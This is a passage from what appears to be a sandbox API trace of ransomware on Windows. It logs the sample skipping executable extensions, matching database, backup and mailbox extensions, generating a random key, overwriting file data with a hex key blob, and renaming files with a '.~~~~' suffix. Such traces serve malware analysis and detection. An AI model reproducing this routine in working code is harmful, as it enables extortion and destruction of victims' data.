	[0085.994] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.994] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.994] CloseHandle (hObject=0x120) returned 1
	[0085.994] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.~~~~")) returned 1
	[0086.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0086.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.027] GetLastError () returned 0x0
	[0086.027] RtlWakeConditionVariable () returned 0x365f70
	[0086.027] GetCurrentThreadId () returned 0x9cc
	[0086.027] GetCurrentThreadId () returned 0x9cc
	[0086.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874f88
	[0086.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0086.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62b0 | out: hHeap=0x300000) returned 1
	[0086.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0086.027] lstrlenW (lpString=".scr") returned 4
	[0086.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".scr") returned 0x0
	[0086.027] lstrlenW (lpString=".cmd") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".cmd") returned 0x0
	[0086.028] lstrlenW (lpString=".dll") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dll") returned 0x0
	[0086.028] lstrlenW (lpString=".bat") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".bat") returned 0x0
	[0086.028] lstrlenW (lpString=".cpl") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".cpl") returned 0x0
	[0086.028] lstrlenW (lpString=".sys") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".sys") returned 0x0
	[0086.028] lstrlenW (lpString=".msc") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".msc") returned 0x0
	[0086.028] lstrlenW (lpString=".com") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".com") returned 0x0
	[0086.028] lstrlenW (lpString=".lnk") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".lnk") returned 0x0
	[0086.028] lstrlenW (lpString=".msp") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".msp") returned 0x0
	[0086.028] lstrlenW (lpString=".pif") returned 4
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".pif") returned 0x0
	[0086.028] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.028] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0086.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0086.029] lstrlenW (lpString=".sqb") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".sqb") returned 0x0
	[0086.029] lstrlenW (lpString=".ost") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".ost") returned 0x0
	[0086.029] lstrlenW (lpString=".txt") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".txt") returned 0x0
	[0086.029] lstrlenW (lpString=".mdt") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".mdt") returned 0x0
	[0086.029] lstrlenW (lpString=".BDB") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".BDB") returned 0x0
	[0086.029] lstrlenW (lpString=".eql") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".eql") returned 0x0
	[0086.029] lstrlenW (lpString=".DBF") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DBF") returned 0x0
	[0086.029] lstrlenW (lpString=".EQL") returned 4
	[0086.029] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".EQL") returned 0x0
	[0086.029] lstrlenW (lpString=".FDB") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".FDB") returned 0x0
	[0086.030] lstrlenW (lpString=".EDB") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".EDB") returned 0x0
	[0086.030] lstrlenW (lpString=".DACPAC") returned 7
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DACPAC") returned 0x0
	[0086.030] lstrlenW (lpString=".VHD") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".VHD") returned 0x0
	[0086.030] lstrlenW (lpString=".DBV") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DBV") returned 0x0
	[0086.030] lstrlenW (lpString=".dacpac") returned 7
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dacpac") returned 0x0
	[0086.030] lstrlenW (lpString=".sdf") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".sdf") returned 0x0
	[0086.030] lstrlenW (lpString=".accdb") returned 6
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".accdb") returned 0x0
	[0086.030] lstrlenW (lpString=".DBX") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DBX") returned 0x0
	[0086.030] lstrlenW (lpString=".MDT") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".MDT") returned 0x0
	[0086.030] lstrlenW (lpString=".SQB") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".SQB") returned 0x0
	[0086.030] lstrlenW (lpString=".vhd") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".vhd") returned 0x0
	[0086.030] lstrlenW (lpString=".bac") returned 4
	[0086.030] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".bac") returned 0x0
	[0086.030] lstrlenW (lpString=".mdf") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".mdf") returned 0x0
	[0086.031] lstrlenW (lpString=".BAK") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".BAK") returned 0x0
	[0086.031] lstrlenW (lpString=".BAC") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".BAC") returned 0x0
	[0086.031] lstrlenW (lpString=".dbs") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dbs") returned 0x0
	[0086.031] lstrlenW (lpString=".vhdx") returned 5
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".vhdx") returned 0x0
	[0086.031] lstrlenW (lpString=".NDF") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".NDF") returned 0x0
	[0086.031] lstrlenW (lpString=".dat") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dat") returned 0x0
	[0086.031] lstrlenW (lpString=".DBS") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DBS") returned 0x0
	[0086.031] lstrlenW (lpString=".CKP") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".CKP") returned 0x0
	[0086.031] lstrlenW (lpString=".edb") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".edb") returned 0x0
	[0086.031] lstrlenW (lpString=".PST") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".PST") returned 0x0
	[0086.031] lstrlenW (lpString=".dbf") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dbf") returned 0x0
	[0086.031] lstrlenW (lpString=".SQL") returned 4
	[0086.031] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".SQL") returned 0x0
	[0086.031] lstrlenW (lpString=".pst") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".pst") returned 0x0
	[0086.032] lstrlenW (lpString=".dbv") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dbv") returned 0x0
	[0086.032] lstrlenW (lpString=".SDF") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".SDF") returned 0x0
	[0086.032] lstrlenW (lpString=".dtxs") returned 5
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dtxs") returned 0x0
	[0086.032] lstrlenW (lpString=".db3") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".db3") returned 0x0
	[0086.032] lstrlenW (lpString=".OST") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".OST") returned 0x0
	[0086.032] lstrlenW (lpString=".dbx") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dbx") returned 0x0
	[0086.032] lstrlenW (lpString=".DB3") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DB3") returned 0x0
	[0086.032] lstrlenW (lpString=".DAT") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DAT") returned 0x0
	[0086.032] lstrlenW (lpString=".VHDX") returned 5
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".VHDX") returned 0x0
	[0086.032] lstrlenW (lpString=".ndf") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".ndf") returned 0x0
	[0086.032] lstrlenW (lpString=".DB") returned 3
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DB") returned 0x0
	[0086.032] lstrlenW (lpString=".sql") returned 4
	[0086.032] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".sql") returned 0x0
	[0086.033] lstrlenW (lpString=".MYD") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".MYD") returned 0x0
	[0086.033] lstrlenW (lpString=".DBT") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DBT") returned 0x0
	[0086.033] lstrlenW (lpString=".ACCDB") returned 6
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".ACCDB") returned 0x0
	[0086.033] lstrlenW (lpString=".fdb") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".fdb") returned 0x0
	[0086.033] lstrlenW (lpString=".bak") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".bak") returned 0x0
	[0086.033] lstrlenW (lpString=".myd") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".myd") returned 0x0
	[0086.033] lstrlenW (lpString=".DTXS") returned 5
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".DTXS") returned 0x0
	[0086.033] lstrlenW (lpString=".ckp") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".ckp") returned 0x0
	[0086.033] lstrlenW (lpString=".dbt") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".dbt") returned 0x0
	[0086.033] lstrlenW (lpString=".db") returned 3
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".db") returned 0x0
	[0086.033] lstrlenW (lpString=".TXT") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".TXT") returned 0x0
	[0086.033] lstrlenW (lpString=".MDF") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".MDF") returned 0x0
	[0086.033] lstrlenW (lpString=".bdb") returned 4
	[0086.033] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".bdb") returned 0x0
	[0086.034] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.034] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.034] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.034] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0086.035] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.035] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0086.035] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20602510164) returned 1
	[0086.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9d185690, dwHighDateTime=0x1d60e1e)) 
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a62b0
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62b0 | out: hHeap=0x300000) returned 1
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.035] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baaf0
	[0086.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875020
	[0086.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.036] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0086.036] GetLastError () returned 0x0
	[0086.036] GetLastError () returned 0x0
	[0086.036] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0086.036] GetLastError () returned 0x0
	[0086.036] GetLastError () returned 0x0
	[0086.038] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffe44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.038] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x1bc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x1bc, lpOverlapped=0x0) returned 1
	[0086.038] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.038] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.038] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.038] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.038] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.038] CloseHandle (hObject=0x120) returned 1
	[0086.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0086.039] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.~~~~")) returned 1
	[0086.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baaf0 | out: hHeap=0x300000) returned 1
	[0086.039] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0086.039] GetLastError () returned 0x0
	[0086.040] RtlWakeConditionVariable () returned 0x365f70
	[0086.040] GetCurrentThreadId () returned 0x9cc
	[0086.040] GetCurrentThreadId () returned 0x9cc
	[0086.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3baaf0
	[0086.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ba7a8 | out: hHeap=0x300000) returned 1
	[0086.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6278 | out: hHeap=0x300000) returned 1
	[0086.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ba7a8
	[0086.040] lstrlenW (lpString=".scr") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0086.040] lstrlenW (lpString=".cmd") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0086.040] lstrlenW (lpString=".dll") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0086.040] lstrlenW (lpString=".bat") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0086.040] lstrlenW (lpString=".cpl") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0086.040] lstrlenW (lpString=".sys") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0086.040] lstrlenW (lpString=".msc") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0086.040] lstrlenW (lpString=".com") returned 4
	[0086.040] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0086.040] lstrlenW (lpString=".lnk") returned 4
	[0086.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0086.041] lstrlenW (lpString=".msp") returned 4
	[0086.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0086.041] lstrlenW (lpString=".pif") returned 4
	[0086.041] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0086.041] lstrlenW (lpString="msp\r\n.pif") returned 9
